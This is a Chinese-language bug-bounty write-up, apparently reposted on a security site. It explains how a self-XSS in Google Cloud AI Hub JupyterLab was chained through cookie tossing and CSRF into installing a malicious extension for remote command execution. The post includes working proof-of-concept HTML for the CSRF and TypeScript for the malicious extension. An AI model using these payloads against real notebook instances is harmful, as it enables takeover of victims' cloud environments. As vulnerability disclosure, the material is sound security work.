<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Google Cloud JupyterLab的XSS到任意命令執行

    VSole2022-07-28 16:50:12

    Jupyter Lab介紹

    JupyterLab 是一個基于 Web 的 Jupyter 筆記本、代碼和數據的交互式開發環境。JupyterLab 非常靈活。使用它我們可以運行代碼,也可以在 Web 界面中使用終端。最重要的是我們還可以編輯 Jupyter應用程序本身的代碼。

    我是如何發現漏洞的?

    在我大三的時候,我對 AI 和 CTF 非常感興趣,我在數據科學實習。大多數時候,我使用 Jupyter Notebooks 來訓練模型。所以,我對它的工作原理有了基本的了解。

    后來,我開始做漏洞賞金,我的目標是 Google Cloud AI HUB。

    谷歌云 AI HU

    在 AI Hub 中,我們可以創建筆記本,當創建筆記本時,它會在后臺創建一個 VM 實例,安裝 Jupyter Notebook,并為筆記本實例分配隨機域 (random-id.notebooks.googleusercontent.com) . 通過 Google SSO 登錄筆記本實例。

    self XSS

    我知道筆記本中不可能直接出現 XSS ,但由于我們可以在我們的 VM 實例中訪問 Jupyter 筆記本本身的代碼庫這個前提,所以我嘗試:通過登錄到 VM 實例并更改位于/opt/conda/share/jupyter/lab/static的文件來更改 Jupyter Notebook 的源代碼,我們可以讓受害者訪問我們的筆記本實例并彈出一個警報。但這沒有用,因為它是一個self XSS。

    接著,我開始想辦法讓它產生影響。

    我們有self XSS 時,另一個值得關注的目標是 cookie。我檢查了 cookie 并且_xsrf cookie 引起了我的注意。CSRF 緩解是通過檢查 _xsrf 中的 cookie 值和X-XSRFToken 標頭值來完成的。如果這兩個值相等,則允許該請求。

    self XSS轉為DOS

    因為,我們可以在 notebooks.googleusercontent.com 上的域中設置 cookie xsrf=1 ,這使得來自受害者筆記本的每個下一個請求都會因為無效的xsrf令牌而被丟棄。我們可以更改 cookie 中的_xsrf令牌,如果我們可以更改 X-XSRFToken 標頭,我們也可以在筆記本上實現 CSRF。但是,我們無法設置此標頭,因為當我們在請求中設置 X-XSRFToken 標頭時,瀏覽器會發出 XHR 預檢請求。

    發現了DOS漏洞,但是沒有太大的作用,所以,我認為這是一個死胡同,后來開始審查 Jupyter Notebook 的源代碼......

    Tornado web服務器 來拯救 CSRF

    我注意到 Jupyter 使用了 tornado 服務器

    有一個有趣的點:在 tornado 服務器 來緩解CSRF攻擊如下:

    如果設置了 xsrf_cookies,Tornado Web 應用程序將為所有用戶設置 _xsrf cookie,并拒絕所有不包含正確 _xsrf 值的 POST、PUT 和 DELETE 請求。如果打開此設置,則需要檢測通過 POST 提交的所有表單以包含此字段。您可以使用所有模板中提供的特殊 UIModule xsrf_form_html() 來完成此操作
    

    xsrf_form_html()的代碼

    def xsrf_form_html(self) -> str:    """An HTML ``<input/>`` element to be included with all POST forms.    It defines the ``_xsrf`` input value, which we check on all POST    requests to prevent cross-site request forgery. If you have set    the ``xsrf_cookies`` application setting, you must include this    HTML within all of your HTML forms.    In a template, this method should be called with ``{% module    xsrf_form_html() %}``    See `check_xsrf_cookie()` above for more information.    """    return (        '<input type="hidden" name="_xsrf" value="'        + escape.xhtml_escape(self.xsrf_token)        + '"/>'    )
    

    所以,這意味著我們可以在請求 URL 中發送 CSRF 令牌,而不是 X-XSRFToken 標頭。

    這是一個不錯的小功能,我們可以在請求中使用_xsrf標記而不是標頭。

    我們不需要擔心下面顯示的 cookie 優先級,因為基域上的 cookie 優先于子域上的 cookie。

    CSRF 的 POC:

    <html><form action="https://victim(randomId)-dot-us-west1.notebooks.googleusercontent.com/lab?authuser=1/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain">  <input type="hidden" name="any post data" />  <input type="submit" value="Submit request" /> </form><script type="text/javascript">  var base_domain = document.domain.substr(document.domain.indexOf('.'));  document.cookie='_xsrf=1;Domain='+base_domain;  console.log('done');  document.forms[0].submit();</script></html
    

    現在我們有了 CSRF,重要的任務是更好的利用它來擴大危害。

    JupyterLab 擴展可以自定義或增強 JupyterLab 的任何部分。它們可以提供新的主題、文件查看器和編輯器,或用于筆記本中豐富輸出的渲染器。擴展可以將項目添加到菜單或命令面板、鍵盤快捷鍵或設置系統中的設置
    

    我首先看的是擴展,因為它們允許我們在受害者實例中運行任意代碼。

    原來是使用 CSRF,我們可以在受害者筆記本實例中安裝任意擴展。

    現在的任務是創建一個惡意擴展,在受害者筆記本實例中提供 RCE。

    我創建了這個擴展,它打開到終端端點的 WebSocket 連接并運行任意代碼。(可以通過其他更簡單的方式完成)

    import {  JupyterFrontEnd, JupyterFrontEndPlugin} from '@jupyterlab/application';
    const extension: JupyterFrontEndPlugin<void> = {  id: 'test',  autoStart: true,  activate: (app: JupyterFrontEnd) => {    alert(document.cookie);    console.log("started !!!");    var xhttp = new XMLHttpRequest;      var termUri = location.origin + "/api/terminals";      xhttp.open("POST", termUri, true);      xhttp.withCredentials = true;      xhttp.onreadystatechange = function() {          if (this.readyState == 4 && this.status == 200) {              console.log("request successfull!!! ");              var resp = xhttp.responseText.split('"');              var terminal_id = resp[3];              var wsUri = "wss://"+location.host+"/terminals/websocket/"+terminal_id;              var ws = new WebSocket(wsUri);              ws.onopen = function(evt) {                ws.send('["stdin","touch pwned.txt\\r"]');              };              console.log("file created pwned.txt!!! ");          }      };      xhttp.send();  }};export default extension;
    

    并將其推送到: npm https://www.npmjs.com/package/@mohansrk/test

    最終POC

    <html><form action="https://randomid-dot-australia-southeast1.notebooks.googleusercontent.com/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain">  <input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\"@mohansrk/test\",\"dummy\":\"\" value=\"dummy\"}" />   <input type="submit" value="Submit request" /> </form><script type="text/javascript">  var base_domain = document.domain.substr(document.domain.indexOf('.'));  document.cookie='_xsrf=1;Domain='+base_domain;  console.log('done');  document.forms[0].submit();</script></html>
    

    獲得 RCE 后,我們就可以訪問大部分 Google Cloud,因為 VM 實例默認具有編輯角色。 

    cookiejupyter
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Jupyter Lab介紹JupyterLab 是一個基于 Web 的 Jupyter 筆記本、代碼和數據的交互式開發環境。我們有self XSS 時,另一個值得關注的目標是 cookie。我檢查了 cookie 并且_xsrf cookie 引起了我的注意。如果打開此設置,則需要檢測通過 POST 提交的所有表單以包含此字段。
    Amazon SageMaker 是一項完全托管的機器學習服務。借助 SageMaker,數據科學家和開發人員可以快速輕松地構建和訓練機器學習模型,然后直接將它們部署到生產就緒的托管環境中。
    由于測試過程中很多系統我們能接觸到的只有一個登陸界面,所以要充分挖掘漏洞,進行深入操作登錄 注冊萬能密碼繞過登錄存在 SQL 注入的情況下,有可能使用萬能密碼直接登錄admin' or '1'='1'--. 有超級多登錄口 SQL 注入存在 SQL 注入的話直接注出賬密有些可以構造用戶注入登錄,比如熊海 cms 后臺登錄處存在 sql 注入$login=$_POST['login'];
    紅藍隊面試題目匯總
    2022-08-12 06:53:10
    紅藍隊面試題目匯總
    F-vuln(全稱:Find-Vulnerability)是為了自己工作方便專門編寫的一款自動化工具,主要適用于日常安全服務、滲透測試人員和RedTeam紅隊人員,它集合的功能包括:存活IP探測、開放端口探測、web服務探測、web漏洞掃描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他數據庫爆破工作以及大量web漏洞檢測模塊。
    會話機制Cookie/Session:在web應用中,常用的會話追蹤機制是Cookie和Session。
    wangan Cookie 指引
    2022-11-23 12:05:32
    實體標簽可代替 Cookie,用以追蹤個別使用者,并容許我們可更深入了解和改善 wangan 服務。例如,收集網站和應用程式的使用數據、收集 wangan 用戶基本的統計信息并分析相關的趨勢。我們對第三方的任何追蹤技術概不承擔任何責任;B. 我們可能會將通過追蹤技術收集所得的信息與我們收集所得關于您的其他信息合并。
    據了解,這些有問題的擴展程序已經在Chrome 應用店累計獲得了高達140萬次的下載。調查結果是在 2022 年 3 月發現13 個 Chrome 瀏覽器擴展程序之后發現的,這些擴展程序將美國、歐洲和印度的用戶重定向到網絡釣魚網站并泄露敏感信息。目前,這5個擴展程序已經從Chrome 網上應用店中刪除。
    總部位于倫敦的鐵路旅行服務公司 Trainline 的安全工程師 Aidan Marlin 在通過 HackerOne 報告了他的發現,并被 GitHub 代表告知“我們用戶暴露的憑據不在范圍內后,提醒 The Register 這些文件的公開可用性。我們的漏洞賞金計劃”。Marlin 然后問他是否可以公開他的發現,并被告知他可以自由這樣做。
    Netskope 的研究人員正在跟蹤一個使用惡意 Python 腳本竊取 Facebook 用戶憑據與瀏覽器數據的攻擊行動。攻擊針對 Facebook 企業賬戶,包含虛假 Facebook 消息并帶有惡意文件。攻擊的受害者主要集中在南歐與北美,以制造業和技術服務行業為主。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类